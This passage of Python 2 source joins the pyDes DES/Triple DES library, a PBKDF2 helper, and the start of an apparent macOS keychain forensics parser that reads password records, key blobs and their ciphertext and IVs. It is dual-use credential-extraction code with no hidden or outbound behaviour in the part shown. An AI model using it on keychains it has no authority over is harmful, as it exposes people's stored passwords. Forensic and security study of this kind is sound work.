# Xor with L[i - 1] | |
self.R = map(lambda x, y: x ^ y, self.R, self.L) | |
# Optimization: This now replaces the below commented code | |
#j = 0 | |
#while j < len(self.R): | |
# self.R[j] = self.R[j] ^ self.L[j] | |
# j += 1 | |
# L[i] becomes R[i - 1] | |
self.L = tempR | |
i += 1 | |
iteration += iteration_adjustment | |
# Final permutation of R[16]L[16] | |
self.final = self.__permutate(des.__fp, self.R + self.L) | |
return self.final | |
# Data to be encrypted/decrypted | |
def crypt(self, data, crypt_type): | |
'''Crypt the data in blocks, running it through des_crypt''' | |
# Error check the data | |
if not data: | |
return '' | |
if len(data) % self.block_size != 0: | |
if crypt_type == des.DECRYPT: # Decryption must work on 8 byte blocks | |
raise ValueError( | |
"Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n.") | |
if not self.getPadding(): | |
raise ValueError("Invalid data length, data must be a multiple of " + str( | |
self.block_size) + " bytes\n. Try setting the optional padding character") | |
else: | |
data += (self.block_size - (len(data) % self.block_size)) * self.getPadding() | |
# print "Len of data: %f" % (len(data) / self.block_size) | |
if self.getMode() == CBC: | |
if self.getIV(): | |
iv = self.__String_to_BitList(self.getIV()) | |
else: | |
raise ValueError("For CBC mode, you must supply the Initial Value (IV) for ciphering") | |
# Split the data into blocks, crypting each one seperately | |
i = 0 | |
dict = {} | |
result = [] | |
#cached = 0 | |
#lines = 0 | |
while i < len(data): | |
# Test code for caching encryption results | |
#lines += 1 | |
#if dict.has_key(data[i:i+8]): | |
#print "Cached result for: %s" % data[i:i+8] | |
# cached += 1 | |
# result.append(dict[data[i:i+8]]) | |
# i += 8 | |
# continue | |
block = self.__String_to_BitList(data[i:i + 8]) | |
# Xor with IV if using CBC mode | |
if self.getMode() == CBC: | |
if crypt_type == des.ENCRYPT: | |
block = map(lambda x, y: x ^ y, block, iv) | |
#j = 0 | |
#while j < len(block): | |
# block[j] = block[j] ^ iv[j] | |
# j += 1 | |
processed_block = self.__des_crypt(block, crypt_type) | |
if crypt_type == des.DECRYPT: | |
processed_block = map(lambda x, y: x ^ y, processed_block, iv) | |
#j = 0 | |
#while j < len(processed_block): | |
# processed_block[j] = processed_block[j] ^ iv[j] | |
# j += 1 | |
iv = block | |
else: | |
iv = processed_block | |
else: | |
processed_block = self.__des_crypt(block, crypt_type) | |
# Add the resulting crypted block to our list | |
#d = self.__BitList_to_String(processed_block) | |
#result.append(d) | |
result.append(self.__BitList_to_String(processed_block)) | |
#dict[data[i:i+8]] = d | |
i += 8 | |
# print "Lines: %d, cached: %d" % (lines, cached) | |
# Remove the padding from the last block | |
if crypt_type == des.DECRYPT and self.getPadding(): | |
#print "Removing decrypt pad" | |
s = result[-1] | |
while s[-1] == self.getPadding(): | |
s = s[:-1] | |
result[-1] = s | |
# Return the full crypted string | |
return ''.join(result) | |
def encrypt(self, data, pad=''): | |
'''encrypt(data, [pad]) -> string | |
data : String to be encrypted | |
pad : Optional argument for encryption padding. Must only be one byte | |
The data must be a multiple of 8 bytes and will be encrypted | |
with the already specified key. Data does not have to be a | |
multiple of 8 bytes if the padding character is supplied, the | |
data will then be padded to a multiple of 8 bytes with this | |
pad character. | |
''' | |
self.__padding = pad | |
return self.crypt(data, des.ENCRYPT) | |
def decrypt(self, data, pad=''): | |
'''decrypt(data, [pad]) -> string | |
data : String to be encrypted | |
pad : Optional argument for decryption padding. Must only be one byte | |
The data must be a multiple of 8 bytes and will be decrypted | |
with the already specified key. If the optional padding character | |
is supplied, then the un-encypted data will have the padding characters | |
removed from the end of the string. This pad removal only occurs on the | |
last 8 bytes of the data (last data block). | |
''' | |
self.__padding = pad | |
return self.crypt(data, des.DECRYPT) | |
############################################################################# | |
# Triple DES # | |
############################################################################# | |
class triple_des: | |
'''Triple DES encryption/decrytpion class | |
This algorithm uses the DES-EDE3 (when a 24 byte key is supplied) or | |
the DES-EDE2 (when a 16 byte key is supplied) encryption methods. | |
Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes. | |
pyDes.des(key, [mode], [IV]) | |
key -> The encryption key string, must be either 16 or 24 bytes long | |
mode -> Optional argument for encryption type, can be either pyDes.ECB | |
(Electronic Code Book), pyDes.CBC (Cypher Block Chaining) | |
IV -> Optional string argument, must be supplied if using CBC mode. | |
Must be 8 bytes in length. | |
''' | |
def __init__(self, key, mode=ECB, IV=None): | |
self.block_size = 8 | |
self.setMode(mode) | |
self.__padding = '' | |
self.__iv = IV | |
self.setKey(key) | |
def getKey(self): | |
'''getKey() -> string''' | |
return self.__key | |
def setKey(self, key): | |
'''Will set the crypting key for this object. Either 16 or 24 bytes long''' | |
self.key_size = 24 # Use DES-EDE3 mode | |
if len(key) != self.key_size: | |
if len(key) == 16: # Use DES-EDE2 mode | |
self.key_size = 16 | |
else: | |
raise ValueError("Invalid triple DES key size. Key must be either 16 or 24 bytes long") | |
if self.getMode() == CBC and (not self.getIV() or len(self.getIV()) != self.block_size): | |
raise ValueError("Invalid IV, must be 8 bytes in length") ## TODO: Check this | |
# modes get handled later, since CBC goes on top of the triple-des | |
self.__key1 = des(key[:8]) | |
self.__key2 = des(key[8:16]) | |
if self.key_size == 16: | |
self.__key3 = self.__key1 | |
else: | |
self.__key3 = des(key[16:]) | |
self.__key = key | |
def getMode(self): | |
'''getMode() -> pyDes.ECB or pyDes.CBC''' | |
return self.__mode | |
def setMode(self, mode): | |
'''Sets the type of crypting mode, pyDes.ECB or pyDes.CBC''' | |
self.__mode = mode | |
def getIV(self): | |
'''getIV() -> string''' | |
return self.__iv | |
def setIV(self, IV): | |
'''Will set the Initial Value, used in conjunction with CBC mode''' | |
self.__iv = IV | |
def xorstr(self, x, y): | |
'''Returns the bitwise xor of the bytes in two strings''' | |
if len(x) != len(y): | |
raise "string lengths differ %d %d" % (len(x), len(y)) | |
ret = '' | |
for i in range(len(x)): | |
ret += chr(ord(x[i]) ^ ord(y[i])) | |
return ret | |
def encrypt(self, data, pad=''): | |
'''encrypt(data, [pad]) -> string | |
data : String to be encrypted | |
pad : Optional argument for encryption padding. Must only be one byte | |
The data must be a multiple of 8 bytes and will be encrypted | |
with the already specified key. Data does not have to be a | |
multiple of 8 bytes if the padding character is supplied, the | |
data will then be padded to a multiple of 8 bytes with this | |
pad character. | |
''' | |
if self.getMode() == ECB: | |
# simple | |
data = self.__key1.encrypt(data, pad) | |
data = self.__key2.decrypt(data) | |
return self.__key3.encrypt(data) | |
if self.getMode() == CBC: | |
raise "This code hasn't been tested yet" | |
if len(data) % self.block_size != 0: | |
raise "CBC mode needs datalen to be a multiple of blocksize (ignoring padding for now)" | |
# simple | |
lastblock = self.getIV() | |
retdata = '' | |
for i in range(0, len(data), self.block_size): | |
thisblock = data[i:i + self.block_size] | |
# the XOR for CBC | |
thisblock = self.xorstr(lastblock, thisblock) | |
thisblock = self.__key1.encrypt(thisblock) | |
thisblock = self.__key2.decrypt(thisblock) | |
lastblock = self.__key3.encrypt(thisblock) | |
retdata += lastblock | |
return retdata | |
raise "Not reached" | |
def decrypt(self, data, pad=''): | |
'''decrypt(data, [pad]) -> string | |
data : String to be encrypted | |
pad : Optional argument for decryption padding. Must only be one byte | |
The data must be a multiple of 8 bytes and will be decrypted | |
with the already specified key. If the optional padding character | |
is supplied, then the un-encypted data will have the padding characters | |
removed from the end of the string. This pad removal only occurs on the | |
last 8 bytes of the data (last data block). | |
''' | |
if self.getMode() == ECB: | |
# simple | |
data = self.__key3.decrypt(data) | |
data = self.__key2.encrypt(data) | |
return self.__key1.decrypt(data, pad) | |
if self.getMode() == CBC: | |
if len(data) % self.block_size != 0: | |
raise "Can only decrypt multiples of blocksize" | |
lastblock = self.getIV() | |
retdata = '' | |
for i in range(0, len(data), self.block_size): | |
# can I arrange this better? probably... | |
cipherchunk = data[i:i + self.block_size] | |
thisblock = self.__key3.decrypt(cipherchunk) | |
thisblock = self.__key2.encrypt(thisblock) | |
thisblock = self.__key1.decrypt(thisblock) | |
retdata += self.xorstr(lastblock, thisblock) | |
lastblock = cipherchunk | |
return retdata | |
raise "Not reached" | |
############################################################################# | |
# Examples # | |
############################################################################# | |
def example_triple_des(): | |
from time import time | |
# Utility module | |
from binascii import unhexlify as unhex | |
# example shows triple-des encryption using the des class | |
print "Example of triple DES encryption in default ECB mode (DES-EDE3)\n" | |
print "Triple des using the des class (3 times)" | |
t = time() | |
k1 = des(unhex("133457799BBCDFF1")) | |
k2 = des(unhex("1122334455667788")) | |
k3 = des(unhex("77661100DD223311")) | |
d = "Triple DES test string, to be encrypted and decrypted..." | |
print "Key1: %s" % k1.getKey() | |
print "Key2: %s" % k2.getKey() | |
print "Key3: %s" % k3.getKey() | |
print "Data: %s" % d | |
e1 = k1.encrypt(d) | |
e2 = k2.decrypt(e1) | |
e3 = k3.encrypt(e2) | |
print "Encrypted: " + e3 | |
d3 = k3.decrypt(e3) | |
d2 = k2.encrypt(d3) | |
d1 = k1.decrypt(d2) | |
print "Decrypted: " + d1 | |
print "DES time taken: %f (%d crypt operations)" % (time() - t, 6 * (len(d) / 8)) | |
print "" | |
# Example below uses the triple-des class to achieve the same as above | |
print "Now using triple des class" | |
t = time() | |
t1 = triple_des(unhex("133457799BBCDFF1112233445566778877661100DD223311")) | |
print "Key: %s" % t1.getKey() | |
print "Data: %s" % d | |
td1 = t1.encrypt(d) | |
print "Encrypted: " + td1 | |
td2 = t1.decrypt(td1) | |
print "Decrypted: " + td2 | |
print "Triple DES time taken: %f (%d crypt operations)" % (time() - t, 6 * (len(d) / 8)) | |
def example_des(): | |
from time import time | |
# example of DES encrypting in CBC mode with the IV of "\0\0\0\0\0\0\0\0" | |
print "Example of DES encryption using CBC mode\n" | |
t = time() | |
k = des("DESCRYPT", CBC, "\0\0\0\0\0\0\0\0") | |
data = "DES encryption algorithm" | |
print "Key : " + k.getKey() | |
print "Data : " + data | |
d = k.encrypt(data) | |
print "Encrypted: " + d | |
d = k.decrypt(d) | |
print "Decrypted: " + d | |
print "DES time taken: %f (6 crypt operations)" % (time() - t) | |
print "" | |
def __test__(): | |
example_des() | |
example_triple_des() | |
def __fulltest__(): | |
# This should not produce any unexpected errors or exceptions | |
from binascii import unhexlify as unhex | |
from binascii import hexlify as dohex | |
__test__() | |
print "" | |
k = des("\0\0\0\0\0\0\0\0", CBC, "\0\0\0\0\0\0\0\0") | |
d = k.encrypt("DES encryption algorithm") | |
if k.decrypt(d) != "DES encryption algorithm": | |
print "Test 1 Error: Unencypted data block does not match start data" | |
k = des("\0\0\0\0\0\0\0\0", CBC, "\0\0\0\0\0\0\0\0") | |
d = k.encrypt("Default string of text", '*') | |
if k.decrypt(d, "*") != "Default string of text": | |
print "Test 2 Error: Unencypted data block does not match start data" | |
k = des("\r\n\tABC\r\n") | |
d = k.encrypt("String to Pad", '*') | |
if k.decrypt(d) != "String to Pad***": | |
print "'%s'" % k.decrypt(d) | |
print "Test 3 Error: Unencypted data block does not match start data" | |
k = des("\r\n\tABC\r\n") | |
d = k.encrypt(unhex("000102030405060708FF8FDCB04080"), unhex("44")) | |
if k.decrypt(d, unhex("44")) != unhex("000102030405060708FF8FDCB04080"): | |
print "Test 4a Error: Unencypted data block does not match start data" | |
if k.decrypt(d) != unhex("000102030405060708FF8FDCB0408044"): | |
print "Test 4b Error: Unencypted data block does not match start data" | |
k = triple_des("MyDesKey\r\n\tABC\r\n0987*543") | |
d = k.encrypt(unhex( | |
"000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080")) | |
if k.decrypt(d) != unhex( | |
"000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080"): | |
print "Test 5 Error: Unencypted data block does not match start data" | |
k = triple_des("\r\n\tABC\r\n0987*543") | |
d = k.encrypt(unhex( | |
"000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080")) | |
if k.decrypt(d) != unhex( | |
"000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080"): | |
print "Test 6 Error: Unencypted data block does not match start data" | |
def __filetest__(): | |
from time import time | |
f = open("pyDes.py", "rb+") | |
d = f.read() | |
f.close() | |
t = time() | |
k = des("MyDESKey") | |
d = k.encrypt(d, " ") | |
f = open("pyDes.py.enc", "wb+") | |
f.write(d) | |
f.close() | |
d = k.decrypt(d, " ") | |
f = open("pyDes.py.dec", "wb+") | |
f.write(d) | |
f.close() | |
print "DES file test time: %f" % (time() - t) | |
def __profile__(): | |
import profile | |
profile.run('__fulltest__()') | |
#profile.run('__filetest__()') | |
#!/usr/bin/python | |
# A simple implementation of pbkdf2 using stock python modules. See RFC2898 | |
# for details. Basically, it derives a key from a password and salt. | |
# (c) 2004 Matt Johnston <matt @ ucc asn au> | |
# This code may be freely used and modified for any purpose. | |
import sha | |
import hmac | |
from binascii import hexlify, unhexlify | |
from struct import pack | |
BLOCKLEN = 20 | |
# this is what you want to call. | |
def pbkdf2(password, salt, itercount, keylen, hashfn=sha): | |
# l - number of output blocks to produce | |
l = keylen / BLOCKLEN | |
if keylen % BLOCKLEN != 0: | |
l += 1 | |
h = hmac.new(password, None, hashfn) | |
T = "" | |
for i in range(1, l + 1): | |
T += pbkdf2_F(h, salt, itercount, i) | |
return T[: -( BLOCKLEN - keylen % BLOCKLEN)] | |
def xorstr(a, b): | |
if len(a) != len(b): | |
raise "xorstr(): lengths differ" | |
ret = '' | |
for i in range(len(a)): | |
ret += chr(ord(a[i]) ^ ord(b[i])) | |
return ret | |
def prf(h, data): | |
hm = h.copy() | |
hm.update(data) | |
return hm.digest() | |
# Helper as per the spec. h is a hmac which has been created seeded with the | |
# password, it will be copy()ed and not modified. | |
def pbkdf2_F(h, salt, itercount, blocknum): | |
U = prf(h, salt + pack('>i', blocknum)) | |
T = U | |
for i in range(2, itercount + 1): | |
U = prf(h, U) | |
T = xorstr(T, U) | |
return T | |
def test(): | |
# test vector from rfc3211 | |
password = 'password' | |
salt = unhexlify('1234567878563412') | |
password = 'All n-entities must communicate with other n-entities via n-1 entiteeheehees' | |
itercount = 500 | |
keylen = 16 | |
ret = pbkdf2(password, salt, itercount, keylen) | |
print "key: %s" % hexlify(ret) | |
print "expected: 6A 89 70 BF 68 C9 2C AE A8 4A 8D F2 85 10 85 86" | |
#!/usr/bin/python | |
# Author : n0fate | |
# E-Mail [email protected], [email protected] | |
# | |
# This program is free software; you can redistribute it and/or modify | |
# it under the terms of the GNU General Public License as published by | |
# the Free Software Foundation; either version 2 of the License, or (at | |
# your option) any later version. | |
# | |
# This program is distributed in the hope that it will be useful, but | |
# WITHOUT ANY WARRANTY; without even the implied warranty of | |
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU | |
# General Public License for more details. | |
# | |
# You should have received a copy of the GNU General Public License | |
# along with this program; if not, write to the Free Software | |
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA | |
# | |
import argparse | |
import os | |
from sys import exit | |
import struct | |
from binascii import unhexlify | |
import datetime | |
from hexdump import hexdump | |
#from pbkdf2 import pbkdf2 | |
#from pyDes import triple_des, CBC | |
from ctypes import * | |
#from Schema import * | |
ATOM_SIZE = 4 | |
SIZEOFKEYCHAINTIME = 16 | |
KEYCHAIN_SIGNATURE = "kych" | |
DBBLOB_SIGNATURE = unhexlify('fade0711') | |
BLOCKSIZE = 8 | |
KEYLEN = 24 | |
class _APPL_DB_HEADER(BigEndianStructure): | |
_fields_ = [ | |
("Signature", c_char*4), | |
("Version", c_int), | |
("HeaderSize", c_int), | |
("SchemaOffset", c_int), | |
("AuthOffset", c_int) | |
] | |
class _APPL_DB_SCHEMA(BigEndianStructure): | |
_fields_ = [ | |
("SchemaSize", c_int), | |
("TableCount", c_int) | |
] | |
class _KEY_BLOB_REC_HEADER(BigEndianStructure): | |
_fields_ = [ | |
("RecordSize", c_uint), | |
("RecordCount", c_uint), | |
("Dummy", c_char*0x7C), | |
] | |
class _KEY_BLOB_RECORD(BigEndianStructure): | |
_fields_ = [ | |
("Signature", c_uint), | |
("Version", c_uint), | |
("CipherOffset", c_uint), | |
("TotalLength", c_uint) | |
] | |
class _GENERIC_PW_HEADER(BigEndianStructure): | |
_fields_ = [ | |
("RecordSize", c_uint), | |
("RecordNumber", c_uint), | |
("Unknown2", c_uint), | |
("Unknown3", c_uint), | |
("SSGPArea", c_uint), | |
("Unknown5", c_uint), | |
("CreationDate", c_uint), | |
("ModDate", c_uint), | |
("Description", c_uint), | |
("Comment", c_uint), | |
("Creator", c_uint), | |
("Type", c_uint), | |
("ScriptCode", c_uint), | |
("PrintName", c_uint), | |
("Alias", c_uint), | |
("Invisible", c_uint), | |
("Negative", c_uint), | |
("CustomIcon", c_uint), | |
("Protected", c_uint), | |
("Account", c_uint), | |
("Service", c_uint), | |
("Generic", c_uint) | |
] | |
class _APPLE_SHARE_HEADER(BigEndianStructure): | |
_fields_ = [ | |
("RecordSize", c_uint), | |
("RecordNumber", c_uint), | |
("Unknown2", c_uint), | |
("Unknown3", c_uint), | |
("SSGPArea", c_uint), | |
("Unknown5", c_uint), | |
("CreationDate", c_uint), | |
("ModDate", c_uint), | |
("Description", c_uint), | |
("Comment", c_uint), | |
("Creator", c_uint), | |
("Type", c_uint), | |
("ScriptCode", c_uint), | |
("PrintName", c_uint), | |
("Alias", c_uint), | |
("Invisible", c_uint), | |
("Negative", c_uint), | |
("CustomIcon", c_uint), | |
("Protected", c_uint), | |
("Account", c_uint), | |
("Volume", c_uint), | |
("Server", c_uint), | |
("Protocol", c_uint), | |
("AuthType", c_uint), | |
("Address", c_uint), | |
("Signature", c_uint) | |
] | |
class _INTERNET_PW_HEADER(BigEndianStructure): | |
_fields_ = [ | |
("RecordSize", c_uint), | |
("RecordNumber", c_uint), | |
("Unknown2", c_uint), | |
("Unknown3", c_uint), | |
("SSGPArea", c_uint), | |
("Unknown5", c_uint), | |
("CreationDate", c_uint), | |
("ModDate", c_uint), | |
("Description", c_uint), | |
("Comment", c_uint), | |
("Creator", c_uint), | |
("Type", c_uint), | |
("ScriptCode", c_uint), | |
("PrintName", c_uint), | |
("Alias", c_uint), | |
("Invisible", c_uint), | |
("Negative", c_uint), | |
("CustomIcon", c_uint), | |
("Protected", c_uint), | |
("Account", c_uint), | |
("SecurityDomain", c_uint), | |
("Server", c_uint), | |
("Protocol", c_uint), | |
("AuthType", c_uint), | |
("Port", c_uint), | |
("Path", c_uint) | |
] | |
class _X509_CERT_HEADER(BigEndianStructure): | |
_fields_ = [ | |
("RecordSize", c_uint), | |
("RecordNumber", c_uint), | |
("Unknown1", c_uint), | |
("Unknown2", c_uint), | |
("CertSize", c_uint), | |
("Unknown3", c_uint), | |
("CertType", c_uint), | |
("CertEncoding", c_uint), | |
("PrintName", c_uint), | |
("Alias", c_uint), | |
("Subject", c_uint), | |
("Issuer", c_uint), | |
("SerialNumber", c_uint), | |
("SubjectKeyIdentifier", c_uint), | |
("PublicKeyHash", c_uint) | |
] | |
# http://www.opensource.apple.com/source/Security/Security-55179.1/include/security_cdsa_utilities/KeySchema.h | |
# http://www.opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-36940/lib/SecKey.h | |
class _SECKEY_HEADER(BigEndianStructure): | |
_fields_ = [ | |
("RecordSize", c_uint), | |
("RecordNumber", c_uint), | |
("Unknown1", c_uint), | |
("Unknown2", c_uint), | |
("BlobSize", c_uint), | |
("Unknown3", c_uint), | |
("KeyClass", c_uint), | |
("PrintName", c_uint), | |
("Alias", c_uint), | |
("Permanent", c_uint), | |
("Private", c_uint), | |
("Modifiable", c_uint), | |
("Label", c_uint), | |
("ApplicationTag", c_uint), | |
("KeyCreator", c_uint), | |
("KeyType", c_uint), | |
("KeySizeInBits", c_uint), | |
("EffectiveKeySize", c_uint), | |
("StartDate", c_uint), | |
("EndDate", c_uint), | |
("Sensitive", c_uint), | |
("AlwaysSensitive", c_uint), | |
("Extractable", c_uint), | |
("NeverExtractable", c_uint), | |
("Encrypt", c_uint), | |
("Decrypt", c_uint), | |
("Derive", c_uint), | |
("Sign", c_uint), | |
("Verify", c_uint), | |
("SignRecover", c_uint), | |
("VerifyRecover", c_uint), | |
("Wrap", c_uint), | |
("Wrap", c_uint) | |
] | |
class _TABLE_HEADER(BigEndianStructure): | |
_fields_ = [ | |
("TableSize", c_uint), | |
("TableId", c_uint), | |
("RecordCount", c_uint), | |
("Records", c_uint), | |
("IndexesOffset", c_uint), | |
("FreeListHead", c_uint), | |
("RecordNumbersCount", c_uint), | |
#("RecordNumbers", c_uint) | |
] | |
class _SCHEMA_INFO_RECORD(BigEndianStructure): | |
_fields_ = [ | |
("RecordSize", c_uint), | |
("RecordNumber", c_uint), | |
("Unknown2", c_uint), | |
("Unknown3", c_uint), | |
("Unknown4", c_uint), | |
("Unknown5", c_uint), | |
("Unknown6", c_uint), | |
("RecordType", c_uint), | |
("DataSize", c_uint), | |
("Data", c_uint) | |
] | |
class _ENCRYPTED_BLOB_METADATA(BigEndianStructure): | |
_fields_ = [ | |
("MagicNumber", c_uint), | |
("Unknown", c_uint), | |
("StartOffset", c_uint), | |
("EndOffset", c_uint) | |
] | |
def _memcpy(buf, fmt): | |
return cast(c_char_p(buf), POINTER(fmt)).contents | |
class KeyChain(): | |
def __init__(self, filepath): | |
self.filepath = filepath | |
self.fbuf = '' | |
def open(self): | |
try: | |
fhandle = open(self.filepath, 'rb') | |
except: | |
return False | |
self.fbuf = fhandle.read() | |
if len(self.fbuf): | |
fhandle.close() | |
return True | |
return False | |
def checkValidKeychain(self): | |
if self.fbuf[0:4] != KEYCHAIN_SIGNATURE: | |
return False | |
return True | |
## get apple DB Header | |
def getHeader(self): | |
header = _memcpy(self.fbuf[:sizeof(_APPL_DB_HEADER)], _APPL_DB_HEADER) | |
return header | |
def getSchemaInfo(self, offset): | |
table_list = [] | |
#schema_info = struct.unpack(APPL_DB_SCHEMA, self.fbuf[offset:offset + APPL_DB_SCHEMA_SIZE]) | |
_schemainfo = _memcpy(self.fbuf[offset:offset+sizeof(_APPL_DB_SCHEMA)], _APPL_DB_SCHEMA) | |
for i in xrange(_schemainfo.TableCount): | |
BASE_ADDR = sizeof(_APPL_DB_HEADER) + sizeof(_APPL_DB_SCHEMA) | |
table_list.append( | |
struct.unpack('>I', self.fbuf[BASE_ADDR + (ATOM_SIZE * i):BASE_ADDR + (ATOM_SIZE * i) + ATOM_SIZE])[0]) | |
return _schemainfo, table_list | |
def getTable(self, offset): | |
record_list = [] | |
BASE_ADDR = sizeof(_APPL_DB_HEADER) + offset | |
TableMetaData = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR+sizeof(_TABLE_HEADER)], _TABLE_HEADER) | |
RECORD_OFFSET_BASE = BASE_ADDR + sizeof(_TABLE_HEADER) | |
record_count = 0 | |
offset = 0 | |
while TableMetaData.RecordCount != record_count: | |
RecordOffset = struct.unpack('>I', self.fbuf[ | |
RECORD_OFFSET_BASE + (ATOM_SIZE * offset):RECORD_OFFSET_BASE + ( | |
ATOM_SIZE * offset) + ATOM_SIZE])[0] | |
# if len(record_list) >= 1: | |
# if record_list[len(record_list)-1] >= RecordOffset: | |
# continue | |
if (RecordOffset != 0x00) and (RecordOffset%4 == 0): | |
record_list.append(RecordOffset) | |
#print ' [-] Record Offset: 0x%.8x'%RecordOffset | |
record_count += 1 | |
offset +=1 | |
return TableMetaData, record_list | |
def getTablenametoList(self, recordList, tableList): | |
TableDic = {} | |
for count in xrange(len(recordList)): | |
tableMeta, GenericList = self.getTable(tableList[count]) | |
TableDic[tableMeta.TableId] = count # extract valid table list | |
return len(recordList), TableDic | |
def getSchemaInfoRecord(self, base_addr, offset): | |
record_meta = [] | |
record = [] | |
BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset | |
#print BASE_ADDR | |
RecordMetadata = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR+sizeof(_SCHEMA_INFO_RECORD)], _SCHEMA_INFO_RECORD) | |
data = self.fbuf[BASE_ADDR + 40:BASE_ADDR + 40 + RecordMetadata.DataSize] | |
for record_element in RecordMetadata: | |
record.append(record_element) | |
record.append(data) | |
return record | |
def getKeyblobRecord(self, base_addr, offset): | |
BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset | |
KeyBlobRecHeader = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR+sizeof(_KEY_BLOB_REC_HEADER)], _KEY_BLOB_REC_HEADER) | |
# record_meta[0] => record size | |
record = self.fbuf[BASE_ADDR + sizeof(_KEY_BLOB_REC_HEADER):BASE_ADDR + KeyBlobRecHeader.RecordSize] # password data area | |
KeyBlobRecord = _memcpy(record[:sizeof(_KEY_BLOB_RECORD)], _KEY_BLOB_RECORD) | |
if SECURE_STORAGE_GROUP != str(record[KeyBlobRecord.TotalLength + 8:KeyBlobRecord.TotalLength + 8 + 4]): | |
#print 'not ssgp %s'%str(record[KeyBlobRecord.TotalLength + 8:KeyBlobRecord.TotalLength + 8 + 4]) | |
#exit() | |
return '', '', '', 1 | |
CipherLen = KeyBlobRecord.TotalLength - KeyBlobRecord.CipherOffset | |
if CipherLen % BLOCKSIZE != 0: | |
print "Bad ciphertext len" | |
iv = record[16:24] | |
ciphertext = record[KeyBlobRecord.CipherOffset:KeyBlobRecord.TotalLength] | |
# match data, keyblob_ciphertext, Initial Vector, success | |
return record[KeyBlobRecord.TotalLength + 8:KeyBlobRecord.TotalLength + 8 + 20], ciphertext, iv, 0 | |
def getGenericPWRecord(self, base_addr, offset): | |
record = [] | |
BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset | |
RecordMeta = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR+sizeof(_GENERIC_PW_HEADER)], _GENERIC_PW_HEADER) | |
Buffer = self.fbuf[BASE_ADDR + sizeof(_GENERIC_PW_HEADER):BASE_ADDR + RecordMeta.RecordSize] # record_meta[0] => record size | |
if RecordMeta.SSGPArea != 0: | |
record.append(Buffer[:RecordMeta.SSGPArea]) | |
else: | |
record.append('') | |
record.append(self.getKeychainTime(BASE_ADDR, RecordMeta.CreationDate & 0xFFFFFFFE)) | |
record.append(self.getKeychainTime(BASE_ADDR, RecordMeta.ModDate & 0xFFFFFFFE)) | |
record.append(self.getLV(BASE_ADDR, RecordMeta.Description & 0xFFFFFFFE)) | |
record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Creator & 0xFFFFFFFE)) | |
record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Type & 0xFFFFFFFE)) | |
record.append(self.getLV(BASE_ADDR, RecordMeta.PrintName & 0xFFFFFFFE)) | |
record.append(self.getLV(BASE_ADDR, RecordMeta.Alias & 0xFFFFFFFE)) | |
record.append(self.getLV(BASE_ADDR, RecordMeta.Account & 0xFFFFFFFE)) | |
record.append(self.getLV(BASE_ADDR, RecordMeta.Service & 0xFFFFFFFE)) | |
return record | |
def getInternetPWRecord(self, base_addr, offset): | |
record = [] | |
BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset | |
RecordMeta = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR+sizeof(_INTERNET_PW_HEADER)], _INTERNET_PW_HEADER) | |
Buffer = self.fbuf[BASE_ADDR + sizeof(_INTERNET_PW_HEADER):BASE_ADDR + RecordMeta.RecordSize] | |
if RecordMeta.SSGPArea != 0: | |
record.append(Buffer[:RecordMeta.SSGPArea]) | |
else: | |
record.append('') | |
record.append(self.getKeychainTime(BASE_ADDR, RecordMeta.CreationDate & 0xFFFFFFFE)) | |
record.append(self.getKeychainTime(BASE_ADDR, RecordMeta.ModDate & 0xFFFFFFFE)) | |
record.append(self.getLV(BASE_ADDR, RecordMeta.Description & 0xFFFFFFFE)) | |
record.append(self.getLV(BASE_ADDR, RecordMeta.Comment & 0xFFFFFFFE)) | |
record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Creator & 0xFFFFFFFE)) | |
record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Type & 0xFFFFFFFE)) | |
record.append(self.getLV(BASE_ADDR, RecordMeta.PrintName & 0xFFFFFFFE)) | |
record.append(self.getLV(BASE_ADDR, RecordMeta.Alias & 0xFFFFFFFE)) | |
record.append(self.getLV(BASE_ADDR, RecordMeta.Protected & 0xFFFFFFFE)) | |
record.append(self.getLV(BASE_ADDR, RecordMeta.Account & 0xFFFFFFFE)) | |
record.append(self.getLV(BASE_ADDR, RecordMeta.SecurityDomain & 0xFFFFFFFE)) | |
record.append(self.getLV(BASE_ADDR, RecordMeta.Server & 0xFFFFFFFE)) | |
record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Protocol & 0xFFFFFFFE)) | |
record.append(self.getLV(BASE_ADDR, RecordMeta.AuthType & 0xFFFFFFFE)) | |
record.append(self.getInt(BASE_ADDR, RecordMeta.Port & 0xFFFFFFFE)) | |
record.append(self.getLV(BASE_ADDR, RecordMeta.Path & 0xFFFFFFFE)) | |
return record | |
def getx509Record(self, base_addr, offset): | |
record = [] | |
BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset | |
